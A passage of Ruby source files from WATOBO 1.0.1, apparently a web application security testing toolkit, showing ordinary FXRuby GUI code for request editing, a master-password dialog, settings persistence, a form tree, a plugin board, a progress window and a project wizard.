p) #@chat_queue.push [last_request, last_response] Watobo.save_thread do logger("got answer") unless request.nil? then unless response.nil? @response_viewer.setText response @current_chat = Watobo::Chat.new(request, response, :source => CHAT_SOURCE_MANUAL, :run_passive_checks => false) Watobo::Chats.add(@current_chat) if @logChat.checked? == true @request_viewer.setText request @last_request = request @response_viewer.setText(response, :filter => true) @responseMD5.text = response.contentMD5 addHistoryItem(@current_chat, @req_builder.rawRequest) @history_pos_dt.value = @history.length @history_pos.handle(self, FXSEL(SEL_UPDATE, 0), nil) end else logger("ERROR: #{@current_chat.response.first}") if @current_chat.respond_to? :response @responseMD5.text = "- N/A -" end end rescue => bang puts bang end } end def trans2Get(sender, sel, item) request = @req_builder.parseRequest return nil if request.nil? request = Watobo::Request.new request if request.method =~ /POST/i and request.content_type =~ /www\-form/i request.setMethod("GET") request.removeHeader("Content-Length") request.removeHeader("Content-Type") data = request.data.to_s # puts "Data: " # puts data request.appendQueryParms(data) request.setData('') end @req_builder.setRequest(request) end def trans2Post(sender, sel, item) request = @req_builder.parseRequest return nil if request.nil? request = Watobo::Request.new request if request.method =~ /GET/i request.setMethod("POST") request.set_header("Content-Length", "0") request.set_header("Content-Type", "application/x-www-form-urlencoded") data = request.query request.setData(data) request.removeUrlParms() end @req_builder.setRequest(request) end def simulatePressSendBtn() @btn_send.state = STATE_DOWN getApp().addTimeout(250, :repeat => false) do @btn_send.state = STATE_UP end end def hide() @scanner.cancel() if @scanner super end end end end watobo-1.0.1/lib/watobo/gui/master_pw_dialog.rb000066400000000000000000000076711366346341400215230ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class MasterPWDialog < FXDialogBox include Responder attr :master_password def masterPassword @master_password end def initialize(owner, title="Set Master Password", new_opts = {}) @opts = { :info => "Please provide a master password to encrypt your login credentials.\n\nIf you click 'cancel' your passwords will not be saved.", :retype => true } @opts.update new_opts super(owner, title, :opts => DECOR_TITLE|DECOR_BORDER|DECOR_CLOSE, :width => 300, :height => 350) FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) @master_password = nil @pw_first_dt = FXDataTarget.new('') @pw_second_dt = FXDataTarget.new('') main = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) #info_frame = FXButton.new(main, info_text, :opts => LAYOUT_FILL_X|FRAME_NONE) textbox = FXText.new(main, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) textbox.backColor = textbox.parent.backColor textbox.editable = false textbox.enabled = false textbox.textStyle |= TEXT_WORDWRAP textbox.setText @opts[:info] top_frame = FXVerticalFrame.new(main, :opts => LAYOUT_FILL_X) FXLabel.new(top_frame, "Password:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) @pw_first_txt = FXTextField.new(top_frame, 30, :target => @pw_first_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT|TEXTFIELD_PASSWD) if @opts[:retype] FXLabel.new(top_frame, "Repeat:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) @pw_second_txt = FXTextField.new(top_frame, 30, :target => @pw_second_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT|TEXTFIELD_PASSWD) @pw_second_txt.connect(SEL_KEYRELEASE) { @acceptBtn.disable if @pw_first_txt.text == @pw_second_txt.text @acceptBtn.enable @acceptBtn.setFocus @acceptBtn.setDefault end false } else =begin @pw_first_txt.connect(SEL_KEYRELEASE) { @acceptBtn.disable @acceptBtn.enable @acceptBtn.setFocus @acceptBtn.setDefault false } =end end buttons = FXHorizontalFrame.new(main, :opts => LAYOUT_SIDE_BOTTOM|LAYOUT_FILL_X|PACK_UNIFORM_WIDTH, :padLeft => 40, :padRight => 40, :padTop => 20, :padBottom => 20) # Accept @acceptBtn = FXButton.new(buttons, "&Accept", nil, self, ID_ACCEPT, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) @acceptBtn.disable unless @opts[:retype] @acceptBtn.enable @acceptBtn.setFocus @acceptBtn.setDefault end FXButton.new(buttons, "&Cancel", nil, self, ID_CANCEL, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) # @hostname.handle(self, FXSEL(SEL_UPDATE, 0), nil) # @domain.handle(self, FXSEL(SEL_UPDATE, 0), nil) # @user.handle(self, FXSEL(SEL_UPDATE, 0), nil) # @email.handle(self, FXSEL(SEL_UPDATE, 0), nil) #@pw_first_txt.enable @pw_first_txt.setFocus @pw_first_txt.setDefault end private def onAccept(sender, sel, event) @master_password = nil if @opts[:retype] == false or @pw_first_txt.text == @pw_second_txt.text then @master_password = @pw_first_txt.text # puts "* new MasterPassword #{@master_password}" getApp().stopModal(self, 1) self.hide() return 1 else FXMessageBox.information(self, MBOX_OK, "Wrong Passwords", "The passwords you've entered don't match!") end end end end end if __FILE__ == $0 # TODO Generated stub endwatobo-1.0.1/lib/watobo/gui/mixins/000077500000000000000000000000001366346341400171525ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/gui/mixins/events.rb000066400000000000000000000012451366346341400210050ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Gui module Events_UNUSED def self.extended(base) base.instance_variable_set('@event_dispatcher_listeners', {}) end def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def clearEvents(event) @event_dispatcher_listeners[event] ||= [] @event_dispatcher_listeners[event].clear end def notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end end end end watobo-1.0.1/lib/watobo/gui/mixins/gui_settings.rb000066400000000000000000000026101366346341400222020ustar00rootroot00000000000000# @private module Watobo#:nodoc: all # Mixin for easier settings handling # This mixin should be included in the base class of an object # Then it's possibe to reference it from within subclasses or modules module Settings module Saver def inner_filename=(fname) @@inner_filename=fname end def save(&block) s = self.to_h s = yield(s) if block_given? Watobo::Utils.save_settings(@@inner_filename, s) end def load() return false unless File.exist?(@@inner_filename) config = Watobo::Utils.load_settings(@@inner_filename) self.marshal_load config true end end def self.included(base) const_set('Settings', OpenStruct.new ) s = const_get('Settings') s.extend Saver stack = base.to_s.split('::') clazz_name = stack.pop grp_name = stack.pop subdir = grp_name.nil? ? '' : Watobo::Utils.snakecase(grp_name) cname = Watobo::Utils.snakecase(clazz_name) wd = Watobo.working_directory conf_dir = File.join(wd, 'conf') Dir.mkdir conf_dir unless File.exist? conf_dir grp_dir = File.join(conf_dir, subdir) Dir.mkdir grp_dir unless File.exist? grp_dir s.inner_filename = File.join(grp_dir, cname + '_settings.yml') s.load end end endwatobo-1.0.1/lib/watobo/gui/page_tree.rb000066400000000000000000000142021366346341400201220ustar00rootroot00000000000000 #require 'qcustomize.rb' # @private module Watobo#:nodoc: all module Gui class PageTree < FXTreeList attr :page include Watobo::Constants include Watobo::Gui::Icons def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def reload() self.clearItems # @interface.updateRequestTable(@project) end def page=(p) @page = p refresh_tree end def refresh_tree() self.clearItems unless @page.nil? if page.forms.length > 0 page.forms.each do |f| add_form_item f end else self.appendItem(nil, "Forms ()", nil, nil) end end # @interface.updateRequestTable(@project) end def expandFullTree(item) self.expandTree(item) item.each do |c| expandFullTree(c) if !self.itemLeaf?(c) end end def collapseFullTree(item) self.collapseTree(item) item.each do |c| collapseFullTree(c) if !self.itemLeaf?(c) end end def hidden?(chat) #TODO: Filter false end def initialize(parent, page=nil, prefs={}) @page = page @quick_filter = Hash.new opts = LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_TOP|TREELIST_SHOWS_LINES|TREELIST_SHOWS_BOXES|TREELIST_ROOT_BOXES|TREELIST_EXTENDEDSELECT opts = prefs[:opts] if prefs.has_key? :opts super(parent, :opts => opts) @event_dispatcher_listeners = Hash.new @filters = { :element => [] } forms = self.appendItem(nil, "load a new page first!", nil, nil) self.connect(SEL_COMMAND) do |sender, sel, item| if item.data.is_a? Mechanize::Form puts "Form Selected" notify(:form_selected, item.data) elsif item.data.is_a? Mechanize::Form::Field puts "Field Selected" notify(:form_selected, item.parent.data) notify(:field_selected, item) end end self.connect(SEL_RIGHTBUTTONRELEASE) do |sender, sel, event| exclude_site = nil unless event.moved? FXMenuPane.new(self) do |menu_pane| # item = sender.getItemAt(event.win_x, event.win_y) unless item.nil? unless self.itemLeaf?(item) FXMenuSeparator.new(menu_pane) FXMenuCommand.new(menu_pane, "expand tree" ).connect(SEL_COMMAND) { expandFullTree(item) } FXMenuCommand.new(menu_pane, "collapse tree" ).connect(SEL_COMMAND) { self.collapseFullTree(item) } end data = self.getItemData(item) if item == "Forms" then puts "Right Click Forms" FXMenuSeparator.new(menu_pane) FXMenuCommand.new(menu_pane, "found Form Item" ).connect(SEL_COMMAND) { notify(:add_site_to_scope, item.to_s) } else puts "Didn't click Forms" end # submenu = FXMenuPane.new(self) do |domain_menu| # @filtered_domains.each do |domain, filter| # hide_domain = FXMenuCommand.new(domain_menu, "#{domain}" ) # hide_domain.connect(SEL_COMMAND) { # @interface.default_settings[:domain_filters].delete(filter) # @filtered_domains.clear # @interface.updateTreeLists # } # end # end # FXMenuCascade.new(menu_pane, "Unhide Domains", nil, submenu) end menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end end end private def get_node_class(name) return nil if name.nil? return nil if name.empty? puts "get_node_class #{name}" ccname = Watobo::Utils.camelcase(name) nc = nil unless Watobo::Gui::PageTree.const_defined? ccname puts "Creating new class #{ccname}" Watobo::Gui::PageTree.class_eval("class #{ccname};end") nc = Watobo::Gui::PageTree.const_get(ccname) else puts "Get existing class #{ccname}" nc = Watobo::Gui::PageTree.const_get(ccname) end puts nc.name nc end def add_form_item(form) node_name = "Forms" #nc = get_node_class node_name # form_item = self.findItem(node_name, nil, SEARCH_FORWARD|SEARCH_IGNORECASE) form_item = self.findItemByData(node_name.to_sym, nil, SEARCH_FORWARD) if form_item.nil? # found new site form_item = self.appendItem(nil, node_name, nil, nil) #site = @findings_tree.moveItem(project.first,project,site) self.setItemData(form_item, node_name.to_sym) end form_name_item = nil name = "undefined" unless form.name.nil? name = form.name unless form.name.empty? end form_name_item = self.appendItem(form_item, name, nil, nil) unless form_name_item.nil? self.setItemData(form_name_item, form) form.fields.each do |ff| form_field_item = self.appendItem(form_name_item, ff.name, nil, nil) self.setItemData(form_field_item, ff) end form.buttons.each do |fb| form_field_item = self.appendItem(form_name_item, fb.name, nil, nil) self.setItemData(form_field_item, fb) end end unless form_item.nil? form_item.text = "#{node_name} (#{form_item.numChildren})" end end def notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end end # namespace end end end watobo-1.0.1/lib/watobo/gui/password_policy_dialog.rb000066400000000000000000000047771366346341400227470ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class PasswordPolicyDialog < FXDialogBox include Responder def passwordPolicy pp = { :save_passwords => @save_pws_cbt.checked?, :save_without_master => @save_without_cbt.checked? } end def initialize(owner, password_policy = {} ) super(owner, "Password Policy", :opts => DECOR_TITLE|DECOR_BORDER|DECOR_CLOSE, :width => 200, :height => 150) @password_policy = { :save_passwords => false, :save_without_master => false } @password_policy.update password_policy if password_policy.is_a? Hash FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @save_pws_cbt = FXCheckButton.new(frame, "save passwords") @save_pws_cbt.checkState = false @save_pws_cbt.checkState = true if @password_policy[:save_passwords] == true @save_pws_cbt.connect(SEL_COMMAND) { @save_without_cbt.enabled = @save_pws_cbt.checked? } @save_without_cbt = FXCheckButton.new(frame, "save without masterpassword") @save_without_cbt.enabled = @save_pws_cbt.checked? @save_without_cbt.checkState = false @save_without_cbt.checkState = true if @password_policy[:save_without_master] == true buttons = FXHorizontalFrame.new(frame, :opts => LAYOUT_SIDE_BOTTOM|LAYOUT_FILL_X|PACK_UNIFORM_WIDTH, :padLeft => 40, :padRight => 40, :padTop => 20, :padBottom => 20) # Accept @acceptBtn = FXButton.new(buttons, "&Accept", nil, self, ID_ACCEPT, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) @acceptBtn.enable FXButton.new(buttons, "&Cancel", nil, self, ID_CANCEL, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) # @hostname.handle(self, FXSEL(SEL_UPDATE, 0), nil) # @domain.handle(self, FXSEL(SEL_UPDATE, 0), nil) # @user.handle(self, FXSEL(SEL_UPDATE, 0), nil) # @email.handle(self, FXSEL(SEL_UPDATE, 0), nil) end private def onAccept(sender, sel, event) if true then # puts "* new MasterPassword #{@master_password}" getApp().stopModal(self, 1) self.hide() return 1 else FXMessageBox.information(self, MBOX_OK, "Wrong Passwords", "The passwords you've entered don't match!") end end end end end if __FILE__ == $0 # TODO Generated stub endwatobo-1.0.1/lib/watobo/gui/plugin_board.rb000066400000000000000000000077521366346341400206500ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class PluginBoard < FXVerticalFrame include Watobo::Gui::Icons def updateBoard() return false unless Watobo::Gui.plugins.first.respond_to? :plugin_name begin @matrix.each_child do |child| @matrix.removeChild(child) end loaded = [] Watobo::Gui.plugins.each do |p| plugin_name = p.respond_to?(:get_plugin_name) ? p.get_plugin_name : p.plugin_name next if loaded.include? plugin_name loaded << plugin_name icon =p.respond_to?(:icon) ? p.icon : p.gui.icon pbtn = FXButton.new( @matrix, "\n" + plugin_name, icon, nil, 0, :opts => ICON_ABOVE_TEXT|FRAME_RAISED|FRAME_THICK|LAYOUT_FIX_WIDTH|LAYOUT_FIX_HEIGHT|LAYOUT_RIGHT, :width => 80, :height => 80) pbtn.create pbtn.connect(SEL_COMMAND) { gui = p.respond_to?(:create) ? p : p.gui gui.create gui.show(Fox::PLACEMENT_SCREEN) # gui.updateView() } pbtn.connect(SEL_RIGHTBUTTONPRESS) { |sender, sel, event| description = nil description = p.get_description if p.respond_to?(:get_description) description = "No description available." if description.nil? plugin_name = p.respond_to?(:get_plugin_name) ? p.get_plugin_name : p.plugin_name unless event.moved? FXMenuPane.new(self) do |menu_pane| #title = FXMenuCaption.new(menu_pane, "Description: #{plugin_name}") #title.backColor = 'red' #f = FXVerticalFrame.new(menu_pane, :opts=>LAYOUT_FILL_X|LAYOUT_FILL_Y) t = FXLabel.new(menu_pane, "#{plugin_name}") # t.justify = JUSTIFY_LEFT t.font = FXFont.new(getApp(), "courier", 12, FONTWEIGHT_BOLD) f = FXVerticalFrame.new(menu_pane, :opts=>LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_THICK|FRAME_SUNKEN) FXLabel.new(f, description).justify = JUSTIFY_LEFT menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end } frame = FXFrame.new(@matrix, :opts => FRAME_NONE|LAYOUT_FIX_WIDTH|LAYOUT_FIX_HEIGHT, :width => 80, :height => 80) frame.backColor = FXColor::White end @plugin_frame.recalc @plugin_frame.update rescue => bang puts bang puts bang.backtrace if $DEBUG end end def initialize(parent) begin super(parent, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN) # db_title = FXLabel.new(self, "PLUGIN-BOARD", :opts => LAYOUT_LEFT) main = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) main.backColor = FXColor::White frame = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X|FRAME_GROOVE) frame.backColor = FXColor::White title_icon = FXButton.new(frame, '', ICON_PLUGIN, :opts => FRAME_NONE) title_icon.backColor = FXColor::White @font_title = FXFont.new(getApp(), "helvetica", 14, FONTWEIGHT_BOLD, FONTSLANT_ITALIC, FONTENCODING_DEFAULT) title = FXLabel.new(frame, "Plugin-Board", nil, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) title.backColor = FXColor::White title.setFont(@font_title) title.justify = JUSTIFY_LEFT|JUSTIFY_CENTER_Y @plugin_frame = FXVerticalFrame.new(main, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) @plugin_frame.backColor = FXColor::White @matrix = FXMatrix.new(@plugin_frame, 7, :opts => MATRIX_BY_COLUMNS|LAYOUT_FILL_X) @matrix.backColor = FXColor::White rescue => bang puts bang puts bang.backtrace if $DEBUG end # update(nil) end end end end watobo-1.0.1/lib/watobo/gui/preferences_dialog.rb000066400000000000000000000103441366346341400220120ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class PreferencesDialog_UNUSED < FXDialogBox attr :settings include Responder def onAccept(sender, sel, event) @settings[:enable_smart_scan] = @enable_smart_scan.checked? @settings[:max_parallel_checks] = @max_par_checks_dt.value @settings[:intercept_port] = @intercept_port_dt.value getApp().stopModal(self, 1) self.hide() return 1 end def startProxyDialog(sender, sel, ptr) proxy_dialog = Watobo::Gui::ProxyDialog.new(self, @settings[:proxy], @settings[:proxy_list]) if proxy_dialog.execute != 0 then @settings[:proxy_list] = proxy_dialog.getProxyList @settings[:proxy] = proxy_dialog.proxy @forwarding_proxy_dt.value = @settings[:proxy] @forwarding_proxy.handle(self, FXSEL(SEL_UPDATE, 0), nil) end end def initialize(owner, settings) super(owner, "Preferences", :opts => DECOR_TITLE|DECOR_BORDER|DECOR_CLOSE) FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) @settings = Hash.new @settings.update(settings) @advancedFrame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) gbox_frame = FXGroupBox.new(@advancedFrame, "Scan Options ", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) gbox = FXVerticalFrame.new(gbox_frame, :opts => LAYOUT_SIDE_TOP|PACK_UNIFORM_WIDTH) frame = FXHorizontalFrame.new(gbox, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_RIGHT) FXLabel.new(frame, "Max. Par. Request:") @max_par_checks_dt = FXDataTarget.new(0) @max_par_checks_dt.value = @settings[:max_parallel_checks] @max_par_checks = FXTextField.new(frame, 3, @max_par_checks_dt, FXDataTarget::ID_VALUE, :opts => JUSTIFY_RIGHT|FRAME_GROOVE|FRAME_SUNKEN) @enable_smart_scan = FXCheckButton.new(gbox, "Enable Smart Scan ", nil, 0, JUSTIFY_RIGHT|JUSTIFY_TOP|ICON_AFTER_TEXT|LAYOUT_SIDE_RIGHT) @enable_smart_scan.checkState = @settings[:smart_scan] #-------------------------- Forwarding Proxy ---------------------------------# # gbox = FXGroupBox.new(@advancedFrame, "Forwarding Proxy",LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) # frame = FXHorizontalFrame.new(gbox, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_RIGHT) # FXLabel.new(frame, "Current: ") # @forwarding_proxy_dt = FXDataTarget.new('') # @forwarding_proxy = FXTextField.new(frame, 20, @forwarding_proxy_dt, FXDataTarget::ID_VALUE, :opts => LAYOUT_FILL_X|FRAME_GROOVE|FRAME_SUNKEN) # @forwarding_proxy_dt.value = @settings[:proxy] # button = FXButton.new(frame, "View/Edit" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) # button.enable # button.connect(SEL_COMMAND, method(:startProxyDialog)) #-------------------------- Interceptor ---------------------------------# # gbox = FXGroupBox.new(@advancedFrame, "Interceptor",LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) # frame = FXHorizontalFrame.new(gbox, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_RIGHT) # FXLabel.new(frame, "Listener Port: ") # @intercept_port_dt = FXDataTarget.new(@settings[:intercept_port]) # @intercept_port = FXTextField.new(frame, 0, @intercept_port_dt, FXDataTarget::ID_VALUE, :opts => LAYOUT_FILL_X|FRAME_GROOVE|FRAME_SUNKEN) buttons_frame = FXHorizontalFrame.new(@advancedFrame, :opts => LAYOUT_FILL_X) @cancelButton = FXButton.new(buttons_frame, "Accept" , :target => self, :selector => FXDialogBox::ID_ACCEPT, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @cancelButton = FXButton.new(buttons_frame, "Cancel" , :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @max_par_checks.handle(self, FXSEL(SEL_UPDATE, 0), nil) # @forwarding_proxy.handle(self, FXSEL(SEL_UPDATE, 0), nil) # @intercept_port.handle(self, FXSEL(SEL_UPDATE, 0), nil) end end end end if __FILE__ == $0 # TODO Generated stub end watobo-1.0.1/lib/watobo/gui/progress_window.rb000077500000000000000000000044561366346341400214370ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Gui class ProgressWindow < FXTopWindow def increment(x) @update_lock.synchronize do @increment += x end end def total=(x) @update_lock.synchronize do @total = x end end def UNUSED_progress=(x) @pbar.progress = x end def title=(new_title) @update_lock.synchronize do @title = new_title end end def task=(new_task) @update_lock.synchronize do @task = new_task end end def job=(new_job) @update_lock.synchronize do @job = new_job end end def update_progress(settings={}) @update_lock.synchronize do @total = settings[:total] unless settings[:total].nil? @title = settings[:title] unless settings[:title].nil? @task = settings[:task] unless settings[:task].nil? @job = settings[:job] unless settings[:job].nil? @increment += settings[:increment] unless settings[:increment].nil? end end def start_update_timer FXApp.instance.addTimeout(500, :repeat => true) { @update_lock.synchronize do @title_lbl.text = @title @task_lbl.text = @task @job_lbl.text = @job @pbar.increment(@increment) @increment = 0 @pbar.total = @total end } end def initialize(owner, opts={}) super(owner, 'Progress Bar', nil, nil, DECOR_BORDER, 0, 0, 300, 100, 0, 0, 0, 0, 0, 0) frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) @update_lock = Mutex.new @title_lbl = FXLabel.new(frame, "title") @title_lbl.setFont(FXFont.new(getApp(), "helvetica", 12, FONTWEIGHT_BOLD, FONTSLANT_ITALIC, FONTENCODING_DEFAULT)) @task_lbl = FXLabel.new(frame, "task") @pbar = FXProgressBar.new(frame, nil, 0, LAYOUT_FILL_X|FRAME_SUNKEN|FRAME_THICK|PROGRESSBAR_HORIZONTAL) @job_lbl = FXLabel.new(frame, "job") @pbar.progress = 0 @pbar.total = 100 @increment = 0 @total = 100 @title = "-" @job = "-" @task = "-" start_update_timer end end end end watobo-1.0.1/lib/watobo/gui/project_wizzard.rb000066400000000000000000000346551366346341400214250ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class NewProjectWizzard < FXDialogBox attr :selected_session_path attr :selected_project_path attr :new_session_name attr :new_project_name attr :project_name attr :session_name def workspace_dir return @workspace_dt.value end def open_select_workspace_dt_dialog(sender, sel, ptr) workspace_dt = FXFileDialog.getOpenDirectory(self, "Select Workspace Directory", @workspace_dt.value) if workspace_dt != "" then if File.exist?(workspace_dt) then @workspace_dt.value = workspace_dt @workspace_text.handle(self, FXSEL(SEL_UPDATE, 0), nil) updateProjectList(@workspace_dt.value) @newProjectButton.enable end end end def updateProjectList(workspace_dt) @projectList.clearItems if File.exist?(workspace_dt) then Dir.foreach(workspace_dt) do |file| #puts file if not file =~ /^\.{1,2}/ and File.ftype(File.join(workspace_dt,file)) == 'directory' then @projectList.appendItem(file) end end end # puts "found #{@projectList.numItems} projects" end def updateSessionList(project_dir) @sessionList.clearItems Dir.foreach(project_dir) do |file| if not file =~ /^\.{1,2}/ and File.ftype(File.join(project_dir,file)) == 'directory' then @sessionList.appendItem(file) end end # puts "found #{@sessionList.numItems} sessions" end def openProject(sender, sel, index) @selected_project_path = File.join(@workspace_dt.value, @projectList.getItemText(index)) @new_project_name.value = @projectList.getItemText(index) @project_name = @projectList.getItemText(index) @projectCaption.text = "Project: #{@new_project_name.value}" # puts @selected_project_path updateSessionList(@selected_project_path) @projectTextField.handle(self, FXSEL(SEL_UPDATE, 0), nil) @nextButton.enable @finishButton.disable @switcher.current = @switcher.current+1 @backButton.enable @nextButton.disable if @switcher.current == @switcher.numChildren-1 setButtons(@switcher.current) end def onProjectSelect(sender, sel, index) @selected_project_path = File.join(@workspace_dt.value, @projectList.getItemText(index)) @new_project_name.value = @projectList.getItemText(index) @project_name = @projectList.getItemText(index) @projectCaption.text = "Project: #{@new_project_name.value}" # puts @selected_project_path updateSessionList(@selected_project_path) @projectTextField.handle(self, FXSEL(SEL_UPDATE, 0), nil) @nextButton.enable @finishButton.disable end def onSessionSelect(sender, sel, index) @selected_session_path = File.join(@selected_project_path, @sessionList.getItemText(index)) @new_session_name.value = @sessionList.getItemText(index) @session_name = @new_session_name.value # @session_name = @sessionList.getItemText(index) @sessionTextField.handle(self, FXSEL(SEL_UPDATE, 0), nil) # puts @selected_session_path @finishButton.enable end def openSession(sender, sel, index) @selected_session_path = File.join(@selected_project_path, @sessionList.getItemText(index)) @new_session_name.value = @sessionList.getItemText(index) @session_name = @new_session_name.value # puts @selected_session_path self.handle(self, FXSEL(SEL_COMMAND, ID_ACCEPT), nil) end def createSession(sender, sel, event) begin if @new_session_name.value != '' then @session_name = @new_session_name.value if File.exist?(@selected_project_path) then new_folder = File.join(@selected_project_path, @new_session_name.value) if File.exist?(new_folder) then puts "! folder already exists" else Dir.mkdir(new_folder) updateSessionList(@selected_project_path) new_session_index = @sessionList.findItem(@new_session_name.value) @session_name = @new_session_name.value new_session_item = @sessionList.selectItem(new_session_index) @sessionList.makeItemVisible(new_session_index) @selected_session_path = File.join(@selected_project_path, @session_name) # @new_session_name.value = '' @finishButton.enable @finishButton.setFocus() @finishButton.setDefault() end end end rescue => bang puts "!!!ERROR: could not create session" puts bang @finishButton.disable end end def createProject(sender, sel, event) begin if @new_project_name.value != '' then @project_name = @new_project_name.value if File.exist?(@workspace_dt.value) then new_folder = File.join(@workspace_dt.value, @new_project_name.value) if File.exist?(new_folder) then puts "! folder already exists" else Dir.mkdir(new_folder) @projectCaption.text = "Project: #{@new_project_name.value}" @selected_project_path = new_folder updateProjectList(@workspace_dt.value) new_project_index = @projectList.findItem(@new_project_name.value) new_project_item = @projectList.selectItem(new_project_index, true) @projectList.makeItemVisible(new_project_index) updateSessionList(@selected_project_path) @new_project_name.value = '' @nextButton.enable # had to disable setFocus on button, because it freezed the project name field #@nextButton.setFocus() @nextButton.setDefault() @finishButton.disable end else FXMessageBox.information(FXApp.instance, MBOX_OK, "No Workspace Selected!", "You need to select a workspace directory before you can start") end end rescue => bang puts "!!!ERROR: could not create project" puts bang end end def setButtons(index) case index when 0 # select project screen if @projectList.currentItem >= 0 and @projectList.itemSelected?(@projectList.currentItem) then @nextButton.enable end when 1 # select session screen @sessionTextField.setFocus() @sessionTextField.setDefault() if @sessionList.currentItem >= 0 and @sessionList.itemSelected?(@sessionList.currentItem) then # puts "session selected" # puts @sessionList.currentItem @finishButton.enable end end end def initialize(parent, workspace_path=nil) # Invoke base class initialize function first # super(parent, "New Project", DECOR_TITLE|DECOR_BORDER) super(parent, "New Project", DECOR_ALL) @selected_project_path = '' @new_project_name = FXDataTarget.new('') @new_session_name = FXDataTarget.new('') @workspace_dt = FXDataTarget.new('') @target_url = FXDataTarget.new('') @proxy = FXDataTarget.new('') @project_name = '' @session_name = '' @session_name = '' if workspace_path then if File.exist?(workspace_path) then @workspace_dt.value = workspace_path else # FXMessageBox.information(FXApp.instance, MBOX_OK, "No Workspace Selected!", "You need to select a workspace directory before you can start") end end base_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @switcher = FXSwitcher.new(base_frame,LAYOUT_FILL_X|LAYOUT_FILL_Y) first_frame = FXVerticalFrame.new(@switcher, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) workspace_path_form = FXHorizontalFrame.new(first_frame, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) FXLabel.new(workspace_path_form, "Workspace Directory:" ) @workspace_text = FXTextField.new(workspace_path_form, 25, :target => @workspace_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_X|LAYOUT_FILL_COLUMN) @workspace_text.handle(self, FXSEL(SEL_UPDATE, 0), nil) browse_button=FXButton.new(workspace_path_form, "Change") browse_button.connect(SEL_COMMAND, method(:open_select_workspace_dt_dialog) ) # # PROJECT SELECTION # #projectSelectionFrame = FXHorizontalFrame.new(first_frame, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) projectSelectionFrame = FXGroupBox.new(first_frame, "Select Project", LAYOUT_SIDE_TOP|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) projectSubSelection = FXVerticalFrame.new(projectSelectionFrame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) newProjectFrame = FXHorizontalFrame.new(projectSubSelection, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) FXLabel.new(newProjectFrame, "Project Name:" ) @projectTextField = FXTextField.new(newProjectFrame, 25, :target => @new_project_name, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT) @newProjectButton = FXButton.new(newProjectFrame, "New" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @newProjectButton.disable if @workspace_dt.value == '' @new_project_name.connect(SEL_COMMAND, method(:createProject)) @newProjectButton.connect(SEL_COMMAND, method(:createProject)) projectListOuterFrame = FXVerticalFrame.new(projectSubSelection, :opts => 